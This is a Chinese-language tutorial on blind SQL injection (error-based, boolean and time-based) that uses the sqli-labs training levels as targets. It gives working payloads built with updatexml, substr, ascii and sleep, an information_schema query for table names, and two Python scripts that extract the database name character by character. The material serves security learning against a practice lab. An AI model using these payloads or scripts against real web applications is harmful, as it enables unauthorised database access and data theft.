何为盲注呢,就是在注入过程中,获取的数据不能返回到前端。我们需要一些方法来进行判断或者尝试,这个过程就像称为盲注。
1,报错盲注 2,布尔(boolean)盲注 3,时间盲注
在实际情况中,推荐先使用报错盲注,再使用布尔,时间盲注由于网络延迟等原因,误差可能大一点,所以最后使用。
当然具体问题具体分析。
①报错盲注:如果页面没有回显,但是有提示报错,那么就无法使用联合查询,这时候可以尝试使用报错注入。
报错注入有很多种方法,最常见的就是使用floor(),rand()和group by组合产生报错,这种办法可以自行百度,下面我使用的是另外的方法。
之前提到过,mysql数据库现在基本都是5以后的版本了,所以我们的方法得以使用:
extratvalue(arg1,arg2)函数arg1 string格式arg2 Xpath格式updatexml(arg1,arg2,arg3)函数arg1为xml文档对象的名称arg2为xpath格式的字符串arg3为string格式,替换查找到的符合条件的数据
报错注入,简单来说就是利用了函数的格式不正确,从而产生报错信息,就拿updatexml来说,只要xpath格式的字符串不正确,那么就会报错,需要注意的是,这两个函数报错显示最大限制是32位,如果没办法显示完全,可以利用substr函数来截取。
这里拿sqli-labs第五关来演示一下:


利用updatexml函数报错注入,发现有信息,但是并不完整:

这时候我们再利用concat尝试一下,爆出完整的版本信息了:

那么为什么要有concat连接才能爆出完整信息呢,那是因为xpath格式不正确,他会把校验失败的数据爆出来。
这其实是方便开发人员调试的,所以想要爆出完整的信息,我们利用concat函数再加入非xpath格式,如0x7e,让它校验失败即可。
下面操作也就不多说了,具体可以参考我上一篇文章,sql注入之初窥instet,update,delete注入,里面有讲解,payload通用。
②布尔盲注:盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测。
页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
Length()函数 返回字符串的长度Substr()截取字符串Ascii()返回字符的ascii码sleep(n):将程序挂起一段时间 n为n秒if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然如果上面的函数被禁用,也有相应的函数替换。可百度
页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
来看案例sqli-labs第八关:


到这里初步确定单引号存在注入,TRUE页面有’you are in...........‘,FALSE页面不存在’you are in ........‘
测试数据库名长度:http://192.168.88.133/sql/Less-8/?id=1'and (length(database()))>7 --+

因为我们知道,sqli靶场的数据库名为八位,所以输入值为7时显示正常为true,大于7无显示为false。
知道为盲注布尔型注入,利用上面的函数进行猜解。
(1)知道了数据库长度,那我们接下来利用这个特性去猜数据库名。
猜当前数据库第一个字符:(下面代码还需进行编码)
利用二分法,115为false,114为true,数据库第一个字符ASCII为115,即s
同理修改substr(database(),2,1)可猜第二个字符,之后同理。
其他的就不一一写了,语句直接百度即可,主要是明白原理。
当然手工测试布尔盲注过于麻烦,这里我们可以借助burp和py脚本。
burp操作就是抓包,然后使用暴力破解模式对猜解字段字典爆破。

python脚本
import requestsdef database_len():for i in range(1,10):url = '''http://192.168.88.133/sqli-labs-master/Less-8/index.php'''payload = '''?id=1' and length(database())>%s''' %i# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'You are in' in r.text:print(i)else:#print('false')print('database_length:',i)breakdatabase_len()def database_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://192.168.88.133/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('database_name:',name)database_name()
表,字段,改下payload就可以跑了。
布尔盲注就简单介绍到这里,当然这只是最简单的用法,后续再分享其他进阶思路及具体代码分析。
③时间盲注
时间盲注使用场景
访问URL:http://192.168.88.133/sql/Less-8/?id=1返回yes;
访问URL:http://192.168.88.133/sql/Less-8/?id=1'返回no;
这让我们想到了之前的布尔盲注,遇到这种情况还可以使用另一种注入方法-时间盲注。
它与布尔盲注的不同之处在于,时间盲注是利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。
此if语句含义是:如果expr1是true,则if()的返回值为expr2;否则返回值为expr3。
所以判断数据库库名长度的语句应为:
if(length(database()>1,sleep(5),1)
这条语句的意思就是,如果数据库名长度大于1,则mysql语句延迟5秒,否则查询1。
(1)判断当前数据库库名的长度
继续用sqli第八关测试:

可以看到页面响应时间是5.059毫秒,这说明了页面执行了sleep(5),也就是length(database())>=8成立。
所以判断出来数据库名长度为8。
(2)获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。
语句:if(substr(database(),1,1)='a',sleep(5),1)

使用s,发生延迟,说明第一位即为s,其他位使用爆破即可。
(3)获取数据库表名
语句:if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)
依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。
其他就不写了。当然还是很费时间,继续使用py脚本比较快。
py脚本
#encoding=utf-8#时间盲注脚本import requestsimport timeimport datetime#获取数据库长度def database_len():#存放跑出的结果length=0database=''print ("start get length...")for l in range(1,15):startTime1=time.time()url1 = "http://172.20.10.14/pentest/test/time/?type=1 and if(length(database())=%d,sleep(1),1)"%(l)response1 = requests.get(url1)if time.time() - startTime1 > 1:length+=lprint ("the length :" , str(length))# breakprint ("start database sql injection...")database_len()#获取数据库名def database_name():name = ''for j in range(1, 15): #根据数据库名长度自行修改15这个数值for i in '0123456789abcdefghijklmnopqrstuvwxyz':url = '''http://172.20.10.14/pentest/test/time/'''payload = '''?type=if(substr(database(),%d,1)='%s',sleep(2),1)''' % (j, i)# print(url+payload+'%23')time1 = datetime.datetime.now()r = requests.get(url + payload + '%23')time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 2:name += iprint(name)breakprint('database_name:', name)database_name()
三种盲注类型就说到这里,建议不会的小师傅复现一遍,就懂了,前期先理解原理,后期才能更深入学习。
下期我会整理一下各类sql注入语句,方便日常实战使用。






